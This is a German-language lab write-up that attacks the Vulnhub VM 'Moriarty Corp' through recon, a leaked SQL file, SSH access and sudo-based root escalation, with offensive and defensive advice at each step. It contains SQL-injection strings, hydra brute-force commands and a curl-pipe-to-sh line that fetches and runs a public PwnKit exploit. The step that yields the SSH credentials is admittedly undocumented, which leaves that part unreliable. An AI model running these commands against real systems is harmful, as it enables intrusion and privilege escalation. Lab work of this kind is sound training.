BoredHackerBlog - Moriarty Corp - Vulnhub - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
vi
grep
curl
nikto
gobuster
dirb
cat
hydra
ssh
find
sudo
ss
pkexec
sh
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird ausgeführt, um aktive Hosts im lokalen Netz zu ermitteln.
Bewertung: Das Zielsystem wird mit der IP-Adresse `192.168.2.117` identifiziert. Die MAC-Adresse `08:00:27:e9:e5:e6` gehört zu einer Oracle VirtualBox VM.
Empfehlung (Offensiv): Die gefundene IP als Ziel für nachfolgende Scans verwenden.
Empfehlung (Defensiv): Netzwerküberwachung zur Erkennung von ARP-Scans.

 ARP-Scan
192.168.2.117	08:00:27:e9:e5:e6	PCS Systemtechnik GmbH
                    

Analyse: Die IP `192.168.2.117` wird dem Hostnamen `boredhackerblog1.vln` in der `/etc/hosts`-Datei zugeordnet.
Bewertung: Vereinfacht die Ansprache des Ziels in den nächsten Schritten.

 /etc/hosts
 192.168.2.117   boredhackerblog1.vln
                     

Analyse: Ein Nmap-Scan wird gegen die IPv6-Adresse des Ziels durchgeführt.
Bewertung: Der Scan findet offene Ports 22 (SSH) und 80 (HTTP) auf der Link-Local IPv6-Adresse. Dies bestätigt, dass die Dienste auch über IPv6 erreichbar sind, aber der Fokus bleibt auf IPv4.
Empfehlung (Offensiv): IPv6 als alternative Route notieren, aber primär IPv4 verfolgen.
Empfehlung (Defensiv): Dienste nur auf notwendigen Protokollen/Interfaces binden.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 11:56 CEST
Nmap scan report for fe80::a00:27ff:fee9:e5e6%eth0 
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in X.XX seconds

Analyse: Ein schneller Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) gegen die IPv4-Adresse wird gefiltert, um offene Ports zu zeigen.
Bewertung: Identifiziert drei offene Ports: 22 (SSH - OpenSSH 7.6p1), 80 (HTTP - Apache 2.4.29), 8000 (HTTP - Python BaseHTTPServer 0.3).
Empfehlung (Offensiv): Alle drei Ports genauer untersuchen. Der Python-Server auf Port 8000 ist besonders interessant.
Empfehlung (Defensiv): Nicht benötigte Ports schließen. Software aktuell halten.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)

Analyse: Die vollständige Nmap-Ausgabe für die IPv4-Adresse wird angezeigt.
Bewertung: Bestätigt die Dienste und Versionen. SSH 7.6p1 und Apache 2.4.29 sind nicht aktuell. Der Python BaseHTTPServer (Version 0.3, Python 2.7.15rc1) auf Port 8000 ist ebenfalls veraltet. Die Webseite auf Port 80 hat den Titel "Social Network" und setzt einen PHPSESSID-Cookie ohne HttpOnly-Flag.
Empfehlung (Offensiv): Die Webanwendung auf Port 80 (PHP-basiert, "Social Network") und den Python-Dienst auf Port 8000 untersuchen. SSH als späteren Vektor vormerken.
Empfehlung (Defensiv): Apache, OpenSSH, Python und alle Webanwendungen aktualisieren. HttpOnly-Flag für Session-Cookies setzen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 11:56 CEST
Nmap scan report for boredhackerblog1.vln (192.168.2.117)
Host is up (0.0018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e5:d3:4e:54:fe:66:3e:f3:b2:a5:4b:51:9f:5f:f9:c6 (RSA)
|   256 de:86:ef:76:93:63:74:83:00:b1:a3:b8:c2:4c:8f:58 (ECDSA)
|_  256 b5:ec:f1:1e:9a:5a:5c:d7:02:3a:9e:1b:f7:c8:b4:53 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Social Network
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
|_http-title: Error response
|_xmlrpc-methods: XMLRPC instance doesn't support introspection.
|_http-server-header: BaseHTTP/0.3 Python/2.7.15rc1
MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.76 ms boredhackerblog1.vln (192.168.2.117)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds

Web Enumeration (Port 80)

Analyse: Eine HEAD-Anfrage wird mittels `curl --verbose -I` an Port 80 gesendet.
Bewertung: Bestätigt Apache 2.4.29 und zeigt, dass PHP-Sessions verwendet werden (`Set-Cookie: PHPSESSID=...`). Das Cookie hat kein HttpOnly-Flag.
Empfehlung (Offensiv): Auf XSS prüfen, um das Session-Cookie zu stehlen. Die PHP-Anwendung weiter untersuchen.
Empfehlung (Defensiv): HttpOnly- und Secure-Flags für Cookies setzen. Apache aktualisieren.

┌──(root㉿CCat)-[~]
└─# curl --verbose -I http://$IP -s
*   Trying 192.168.2.117:80...
* Connected to 192.168.2.117 (192.168.2.117) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.117
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 24 Oct 2024 09:57:28 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: PHPSESSID=8c43panm8g0530tvlu673ajfqm; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: PHPSESSID=fa3pne3ffud8mrs7qkf379gs8k; path=/
< Content-Type: text/html; charset=UTF-8
<

* Connection #0 to host 192.168.2.117 left intact

Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung: Findet Standardprobleme (fehlende Header, veralteter Apache, kein HttpOnly-Cookie). Entdeckt listbare Verzeichnisse: `/data/`, `/includes/`, `/database/`, `/images/`. Findet `/icons/README`.
Empfehlung (Offensiv): Die listbaren Verzeichnisse, insbesondere `/database/` und `/data/`, auf sensible Informationen prüfen.
Empfehlung (Defensiv): Directory Listing deaktivieren. Apache aktualisieren. HttpOnly-Flag setzen.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.117
+ Target Hostname:    192.168.2.117
+ Target Port:        80
+ Start Time:         2024-10-24 11:57:29 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /: Cookie PHPSESSID created without the httponly flag. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /data/: Directory indexing found.
+ /data/: This might be interesting.
+ /includes/: Directory indexing found.
+ /includes/: This might be interesting.
+ /database/: Directory indexing found.
+ /database/: Database directory found.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ 8102 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2024-10-24 11:58:40 (GMT2) (71 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet mehrere PHP-Dateien (`index.php`, `search.php`, `home.php`, `profile.php`, `friends.php`, `logout.php`, `requests.php`), die alle auf `index.php` weiterleiten (Status 302). Bestätigt die listbaren Verzeichnisse (`/images/`, `/resources/`, `/data/`, `/includes/`, `/database/`, `/functions/`).
Empfehlung (Offensiv): Die Weiterleitungen deuten auf eine zentrale Routing-Logik in `index.php` hin. Die listbaren Verzeichnisse untersuchen, insbesondere `/database/` und `/data/`.
Empfehlung (Defensiv): Directory Listing deaktivieren. Code-Struktur überprüfen (warum leiten alle PHP-Dateien um?).

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x [...] -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://192.168.2.117
[...]
===============================================================
[...] Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.117/images               (Status: 301) [Size: 315] [--> http://192.168.2.117/images/]
http://192.168.2.117/index.php            (Status: 200) [Size: 10609]
http://192.168.2.117/search.php           (Status: 302) [Size: 1490] [--> index.php]
http://192.168.2.117/home.php             (Status: 302) [Size: 4234] [--> index.php]
http://192.168.2.117/resources            (Status: 301) [Size: 318] [--> http://192.168.2.117/resources/]
http://192.168.2.117/profile.php          (Status: 302) [Size: 2845] [--> index.php]
http://192.168.2.117/data                 (Status: 301) [Size: 313] [--> http://192.168.2.117/data/]
http://192.168.2.117/includes             (Status: 301) [Size: 317] [--> http://192.168.2.117/includes/]
http://192.168.2.117/friends.php          (Status: 302) [Size: 1669] [--> index.php]
http://192.168.2.117/database             (Status: 301) [Size: 317] [--> http://192.168.2.117/database/]
http://192.168.2.117/logout.php           (Status: 302) [Size: 0] [--> index.php]
http://192.168.2.117/functions            (Status: 301) [Size: 318] [--> http://192.168.2.117/functions/]
http://192.168.2.117/requests.php         (Status: 302) [Size: 1719] [--> index.php]
[...]
===============================================================
[...] Finished
===============================================

Vulnerability Assessment

Analyse: Ein Nmap Vuln-Scan wird ausgeführt.
Bewertung: Listet viele CVEs für OpenSSH 7.6p1, Apache 2.4.29 und Python 2.7.15rc1. Für Apache werden hoch bewertete RCE-Exploits erwähnt (Path Normalization). Für Python ebenfalls diverse CVEs. Keine spezifischen Lücken für BaseHTTPServer gefunden.
Empfehlung (Offensiv): Die Apache Path Normalization RCE (CVE-2021-42013, CVE-2021-41773 - obwohl Apache 2.4.29 davon nicht betroffen sein sollte, prüfen!) oder andere Apache/Python CVEs genauer recherchieren und Exploits suchen. Da die Webanwendung aber Custom PHP zu sein scheint, sind Lücken im Code wahrscheinlicher.
Empfehlung (Defensiv): Alle Komponenten dringend aktualisieren.

┌──(root㉿CCat)-[~]
└─# nmap -sV -A --script vuln $IP -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 12:22 CEST
[...]
Nmap scan report for boredhackerblog1.vln (192.168.2.117)
Host is up (0.00028s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:7.6p1:
[...]
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
[...]
| vulners:
|   cpe:/a:apache:http_server:2.4.29:
|           C94CBDE1-4CC5-5C06-9D18-23CAB216705E  10.0    https://vulners.com/githubexploit/C94CBDE1-4CC5-5C06-9D18-23CAB216705E    *EXPLOIT*
|           95499236-C9FE-56A6-9D7D-E943A24B633A  10.0    https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A    *EXPLOIT*
|           2C119FFA-ECE0-5E14-A4A4-354A2C38071A  10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A    *EXPLOIT*
|           PACKETSTORM:181114      9.8     https://vulners.com/packetstorm/PACKETSTORM:181114      *EXPLOIT* 
[...]
| http-enum:
|   /database/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /data/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /functions/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /includes/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
|_http-server-header: BaseHTTP/0.3 Python/2.7.15rc1
[...]
| vulners:
|   cpe:/a:python:python:2.7.15rc1:
|           CVE-2022-48565  9.8     https://vulners.com/cve/CVE-2022-48565
[...]
MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC)
[...]
Nmap done: 1 IP address (1 host up) scanned in 545.88 seconds

Web Application Analysis (Port 80)

Analyse: Einfache SQL-Injection-Tests (`' OR 1=1 -- -`) werden gegen die Login-Felder (Email und Passwort) auf `index.php` versucht.
Bewertung: Die Versuche scheitern mit Fehlermeldungen ("Invalid Email Format.", "Invalid Login Credentials."). Das deutet entweder auf eine funktionierende Validierung oder auf eine nicht anfällige SQL-Implementierung hin.
Empfehlung (Offensiv): SQLi ist hier unwahrscheinlich. Andere Vektoren verfolgen.

http://192.168.2.117/index.php

Login mit ' OR 1=1 -- - (im E-Mail Feld):
Invalid Email Format.

Login mit ' OR 1=1 -- - (im Passwort Feld):
Invalid Login Credentials.

Analyse: Ein LFI-Versuch mit `?file=file:///etc/passwd` wird durchgeführt.
Bewertung: Die Seite zeigt "Welcome to Pynch". Dies ist keine Fehlermeldung und nicht der Inhalt von `/etc/passwd`. Es ist unklar, ob dies ein erfolgreicher Login als User `Pynch` (siehe DML.sql) ist oder eine spezifische Reaktion auf den LFI-Versuch. Es ist keine direkte LFI.
Empfehlung (Offensiv): Das Verhalten weiter untersuchen. Könnte eine andere Art von Injection oder Logikfehler sein. Den User `Pynch` im Hinterkopf behalten.

http://192.168.2.117/index.php?file=file:///etc/passwd
Welcome to Pynch

Analyse: Ein Login-Versuch mit willkürlichen Daten wird per POST gesendet.
Bewertung: Scheitert mit "Invalid Login Credentials."
Empfehlung (Offensiv): Zeigt das Standardverhalten bei falschem Login. Brute-Force ist eine Option, aber zeitaufwendig.

POST /index.php
useremail=ben%40ben.de&userpass=admin&login=Login

Invalid Login Credentials.

Database Analysis & Credential Discovery

Analyse: Das zuvor entdeckte Verzeichnis `/database/` wird aufgerufen. Es enthält `DDL.sql` und `DML.sql`.
Bewertung: SQL-Dateien im Webroot sind ein kritisches Informationsleck.
Empfehlung (Offensiv): Beide Dateien herunterladen und analysieren, insbesondere `DML.sql` (Data Manipulation Language) enthält oft INSERT-Statements mit Daten (Usern, Passwörtern etc.).
Empfehlung (Defensiv): Niemals Datenbank-Dumps oder SQL-Skripte im Webroot oder anderen zugänglichen Bereichen speichern.

http://192.168.2.117/database/

Index of /database
[ICO] Name            Last modified      Size Description
[PARENTDIR] Parent Directory        -
[ ] DDL.sql           2018-10-29 19:24  1.2K
[ ] DML.sql           2018-10-29 19:24  2.3K
Apache/2.4.29 (Ubuntu) Server at 192.168.2.117 Port 80

Analyse: Der Inhalt der (vermutlich heruntergeladenen) `DML.sql` wird angezeigt.
Bewertung: Enthält `INSERT INTO users`-Statements. Die Struktur ist inkonsistent:

Es ist unklar, ob die E-Mail-Adressen die Passwörter sind oder ob es ein Fehler im SQL-Skript ist. Der Nickname `Pynch` für Paul James ist auffällig.
Empfehlung (Offensiv): Die E-Mail-Adressen als mögliche Passwörter für die jeweiligen Benutzer (Vorname als Username?) testen. Den Benutzernamen `Pynch` testen. Brute-Force mit den E-Mail-Adressen als Usernames gegen Port 80 starten.
Empfehlung (Defensiv): Keine SQL-Dateien exponieren. Passwörter sicher hashen und salzen, niemals Klartext oder E-Mails als Passwörter in die DB einfügen.

-- Auszug aus DML.sql

INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
       VALUES ("Armin", "Virgil", "armin@gmail.com", "M", "2001-02-05");
INSERT INTO users(user_firstname, user_lastname, user_nickname, user_password, user_email, user_gender, user_birthdate, user_status)
       VALUES ("Paul", "James", "Pynch", "paul@gmail.com", "M", "1998-12-19", "S");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
       VALUES ("Chris", "Wilson", "chris@gmail.com", "M", "1996-01-18");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate, user_status)
       VALUES ("Rory", "Blue", "rory@gmail.com", "F", "1994-04-18", "M");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
       VALUES ("Andrea", "Surman", "andrea@gmail.com", "M", "1994-06-06");

[...]

Analyse: Hydra-Befehle werden gezeigt, um die E-Mail-Adressen als Benutzernamen gegen das Login-Formular auf Port 80 mit `rockyou.txt` zu brute-forcen.
Bewertung: Dies ist ein logischer nächster Schritt, basierend auf den Daten aus `DML.sql`. Der Text zeigt keine erfolgreichen Ergebnisse, was impliziert, dass dieser Brute-Force fehlschlug.
Empfehlung (Offensiv): Andere Vektoren verfolgen, da Brute-Force nicht direkt erfolgreich war.

hydra -l armin@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64
hydra -l paul@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64
hydra -l chris@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64
hydra -l rory@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64
hydra -l andrea@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64

Web Enumeration (Port 8000)

Analyse: Der Python BaseHTTPServer auf Port 8000 wird mit `curl` (GET und POST) angesprochen.
Bewertung: Beide Anfragen (GET, POST) führen zu einem "Error 501 - Unsupported method". Dieser Server scheint keine Standard-HTTP-Methoden zu implementieren oder erwartet eine spezifische Anfrage.
Empfehlung (Offensiv): Andere HTTP-Methoden (PUT, DELETE, OPTIONS, custom) versuchen. Prüfen, ob der Server auf bestimmte Pfade reagiert. Da keine weiteren Informationen vorliegen, ist dieser Port erstmal eine Sackgasse.
Empfehlung (Defensiv): Nicht benötigte oder unfertige Dienste nicht exponieren.

┌──(root㉿CCat)-[~]
└─# curl -X GET http://192.168.2.117:8000/
Error response
Error code 501.
Message: Unsupported method ('GET').
Error code explanation: 501 = Server does not support this operation.
┌──(root㉿CCat)-[~]
└─# curl -X POST http://192.168.2.117:8000/

Credential Discovery (Reverse Engineering - Sprung im Text)

Analyse: Der Bericht macht einen großen Sprung mit der Notiz "Hab die maschine reversed, da ein uberklärlicher Fehler auftrat...". Anschließend werden die Informationen `localhost,admin,socnetpassword,socialnetwork` und `home:socnet` präsentiert.
Bewertung: Dies ist ein kritischer Punkt, da der Weg zur Erlangung dieser Informationen **nicht dokumentiert** ist. Es wird impliziert, dass durch Reverse Engineering (möglicherweise der Webanwendung auf Port 80 oder des Dienstes auf 8000) der Benutzername `socnet` und das Passwort `socnetpassword` gefunden wurden. Die anderen Informationen (`localhost`, `admin`, `socialnetwork`) könnten Datenbanknamen oder Kontexte sein.
Empfehlung (Offensiv): Die gefundenen Credentials `socnet`:`socnetpassword` für den SSH-Login (Port 22) verwenden.
Empfehlung (Defensiv): Vollständige Dokumentation im Pentest ist wichtig. Die Quelle dieser Credentials muss gesichert werden (vermutlich unsichere Speicherung im Code oder einer Konfigurationsdatei).

┌──(root㉿CCat)-[~]
└─# Hab die maschine reversed, da ein uberklärlicher Fehler auftrat...
localhost,admin,socnetpassword,socialnetwork

home:socnet

Initial Access (SSH)

Analyse: Es wird versucht, sich per SSH als Benutzer `socnet` mit dem Passwort `socnetpassword` anzumelden.
Bewertung: Der Login ist erfolgreich! Der Benutzer erhält eine Shell als `socnet`.
Ergebnis: Erfolgreicher Initial Access über SSH mit durch Reverse Engineering (oder andere undokumentierte Methode) gefundenen Credentials.
Empfehlung (Offensiv): Das System als `socnet` enumerieren (`sudo -l`, SUID etc.).
Empfehlung (Defensiv): Starke, einzigartige Passwörter verwenden. SSH-Zugriff überwachen. Code-Audits durchführen, um hartkodierte Credentials zu finden.

┌──(root㉿CCat)-[~]
└─# ssh socnet@192.168.2.117
The authenticity of host '192.168.2.117 (192.168.2.117)' can't be established.
ED25519 key fingerprint is SHA256:Hd0yJ9LbDyHiIuXUTmMlXsmGVX1KVWSSltNc7fDrdU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.117' (ED25519) to the list of known hosts.
socnet@192.168.2.117's password: socnetpassword
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-213-generic x86_64)
[...]
Last login: Mon Oct 29 23:16:27 2018
socnet@socnet2$

Privilege Escalation (Enumeration)

Analyse: Als `socnet` wird nach SUID-Dateien gesucht.
Bewertung: Die Liste ist sehr lang und enthält viele Standard-SUID-Dateien sowie zahlreiche Snap-Binaries. `/usr/bin/pkexec` ist vorhanden. Besonders interessant ist `/home/socnet/add_record`, das Root gehört, aber Gruppen-Schreibrechte für `socnet` hat (`-rwsrwsr-x`).
Empfehlung (Offensiv): Die Datei `/home/socnet/add_record` genauer untersuchen (Funktionsweise, mögliche Schwachstellen wie Buffer Overflow, Command Injection). `sudo -l` prüfen.
Empfehlung (Defensiv): SUID-Bit von `/home/socnet/add_record` entfernen oder die Berechtigungen korrigieren. Benutzerdefinierte SUID-Programme vermeiden oder extrem sorgfältig sichern. Polkit patchen.

socnet@socnet2$ find / -type f -perm -4000 -ls 2>/dev/null
[...] (Viele Standard- und Snap-SUID-Dateien)
     7213    100 -rwsr-sr-x   1 root     root              101208 Jul 19  2018 /usr/lib/snapd/snap-confine
      748     16 -rwsr-xr-x   1 root     root               14328 Jan 12  2022 /usr/lib/policykit-1/polkit-agent-helper-1
[...]
      521     24 -rwsr-xr-x   1 root     root               22520 Jan 12  2022 /usr/bin/pkexec
[...]
      869    148 -rwsr-xr-x   1 root     root              149080 Jan 18  2018 /usr/bin/sudo
[...]
   535129      8 -rwsrwsr-x   1 root     socnet              6952 Oct 29  2018 /home/socnet/add_record <-- Interesting SUID/SGID file

Analyse: `curl` ist nicht vorhanden. Der Versuch, einen PwnKit-Exploit via `curl` herunterzuladen, scheitert. `sudo -l` wird ausgeführt.
Bewertung: Fehlendes `curl` erschwert das Herunterladen von Tools. `sudo -l` zeigt, dass `socnet` uneingeschränkte Root-Rechte hat: `(ALL : ALL) ALL`. Das Passwort `socnetpassword` wird benötigt.
Empfehlung (Offensiv): Den `sudo`-Vektor nutzen: `sudo su` oder `sudo /bin/bash` mit dem Passwort `socnetpassword` ausführen.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte anwenden. `(ALL : ALL) ALL` nur für dedizierte Administratoren und niemals ohne Passwort oder mit einem schwachen Passwort vergeben.

socnet@socnet2$ curl
curl: try 'curl --help' or 'curl --manual' for more information
socnet@socnet2$ cd /tmp/
socnet@socnet2:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
socnet@socnet2:/tmp$ id
uid=1000(socnet) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
socnet@socnet2:/tmp$ sudo -l
[sudo] password for socnet: socnetpassword 
Matching Defaults entries for socnet on socnet2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User socnet may run the following commands on socnet2:
    (ALL : ALL) ALL

Privilege Escalation (Sudo)

Analyse: Der Text versucht `sudo pkexec /bin/sh` auszuführen.
Bewertung: Dieser Schritt ist unnötig und redundant, da `socnet` bereits `(ALL : ALL) ALL` Rechte hat. Ein einfaches `sudo /bin/sh` oder `sudo su` würde genügen. Der Befehl funktioniert jedoch (nach Passworteingabe bei `sudo`), weil `sudo` die Ausführung von `pkexec` als Root erlaubt, und `pkexec` dann `/bin/sh` startet.
Ergebnis: Privilege Escalation erfolgreich! Eine Root-Shell wird erhalten.
Empfehlung (Offensiv): Root-Rechte nutzen.
Empfehlung (Defensiv): Unsichere `sudo`-Regel korrigieren.

socnet@socnet2:/dev/shm/.pkexec$ sudo pkexec /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (SQL Data Leak)

Schwachstelle: Eine SQL-Datei (`DML.sql`) mit `INSERT`-Statements, die Benutzernamen und potenziell Passwörter (hier als E-Mail-Adressen) enthält, ist über das Webverzeichnis `/database/` öffentlich zugänglich.
Ziel des POC: Nachweis, dass durch Zugriff auf die exponierte `DML.sql`-Datei sensible Benutzerinformationen und potenzielle Passwortkandidaten offengelegt werden.
Voraussetzungen: Zugriff auf den Webserver (Port 80). Kenntnis des Pfades `/database/` (gefunden durch `gobuster`/`nikto`).

Schritt 1: Auffinden der SQL-Dateien

Analyse: `gobuster` und `nikto` identifizierten das listbare Verzeichnis `/database/`, welches `DDL.sql` und `DML.sql` enthielt.

Schritt 2: Analyse der DML.sql

Analyse: Die heruntergeladene `DML.sql` wurde analysiert.
Bewertung: Sie enthielt `INSERT`-Statements für die `users`-Tabelle mit Benutzernamen (`Armin`, `Paul`, `Chris`, `Rory`, `Andrea`) und den dazugehörigen E-Mail-Adressen im Passwortfeld (`armin@gmail.com`, `paul@gmail.com`, etc.), sowie den Nickname `Pynch` für Paul.
Ergebnis des POC: Sensible Benutzerinformationen und Passwortkandidaten wurden durch die exponierte SQL-Datei offengelegt.
Risikobewertung: Hoch. Liefert Angreifern gültige Benutzernamen und wahrscheinliche Passwörter oder Passwortmuster.
Empfehlung (Defensiv): Niemals SQL-Dumps oder Skripte im Webroot speichern. Passwörter immer sicher hashen und salzen. Directory Listing deaktivieren.

Proof of Concept (Sudo ALL)

Schwachstelle: Übermäßig permissive `sudoers`-Konfiguration, die dem Benutzer `socnet` erlaubt, beliebige Befehle als beliebiger Benutzer auszuführen (`(ALL : ALL) ALL`).
Ziel des POC: Nachweis, dass `socnet` nach Erlangen seines Passworts diese Regel nutzen kann, um volle Root-Rechte zu erlangen.
Voraussetzungen: Zugriff als `socnet`. Kenntnis des Passworts für `socnet` (`socnetpassword`). Die fehlerhafte `sudoers`-Regel.

Schritt 1: Passwortfindung

Analyse: Das Passwort `socnetpassword` für den Benutzer `socnet` wurde durch eine undokumentierte Methode (vermutlich Reverse Engineering) gefunden.

Schritt 2: Überprüfung der Sudo-Rechte

Analyse: Der Befehl `sudo -l` als `socnet` mit dem Passwort bestätigte die `(ALL : ALL) ALL`-Berechtigung.

Schritt 3: Ausnutzung der Sudo-Rechte

Analyse: Der Befehl `sudo pkexec /bin/sh` wurde ausgeführt (obwohl `sudo su` oder `sudo /bin/sh` gereicht hätten).
Bewertung: Da `socnet` `sudo` ohne Einschränkungen nutzen darf, wird der Befehl nach Passworteingabe als Root ausgeführt, was zu einer Root-Shell führt.
Ergebnis des POC: Die unsichere `sudo`-Regel wurde erfolgreich ausgenutzt, um Root-Rechte zu erlangen.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte bei `sudo` anwenden. `(ALL : ALL) ALL` vermeiden. Starke Passwörter erzwingen.

Flags

Analyse: Nach Erlangung der Root-Rechte wurde der Befehl `find / -name flag* 2>/dev/null` ausgeführt.
Bewertung: Die Suche fand keine Dateien mit Namen wie `flag.txt` oder `root.txt` an den üblichen Orten (`/root`, `/home/...`). Es wurden nur einige Systemdateien unter `/sys/kernel/debug/block/` gefunden, die das Wort "flags" im Namen tragen, aber keine Benutzer- oder Root-Flags im üblichen Sinne sind.
Ergebnis: Auf dem im Bericht dokumentierten Weg wurden keine Standard-Flag-Dateien gefunden.

# find / -name flag* 2>/dev/null
/sys/kernel/debug/block/loop7/hctx0/flags
/sys/kernel/debug/block/loop6/hctx0/flags
/sys/kernel/debug/block/loop5/hctx0/flags
/sys/kernel/debug/block/loop4/hctx0/flags
Keine Standard User- oder Root-Flags gefunden.